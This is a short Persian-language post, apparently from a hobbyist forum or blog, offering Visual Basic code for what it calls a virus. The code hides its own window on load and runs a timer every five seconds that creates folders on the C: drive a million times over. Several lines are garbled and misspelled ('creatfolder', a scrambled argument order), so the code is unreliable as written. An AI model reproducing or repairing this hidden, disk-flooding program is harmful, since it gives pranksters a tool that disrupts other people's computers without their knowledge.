ويروسي که يک ميليون بار به نام شما پوشه بسازد

 در يک تايمر کدهاي زير را تايپ کنيد

Dim fso as new file systemobject

For I = 1 To 1000000

&I,True " "C:\javed   Fso.creatfolder

Next I

در Form Load ( ) کدهاي زير رو تايپ کنيد

Me.Hide

                                      Timer1.enabled = true

                                      Timer1.interval = 5000

این دفعه رو نظر از یاتون نره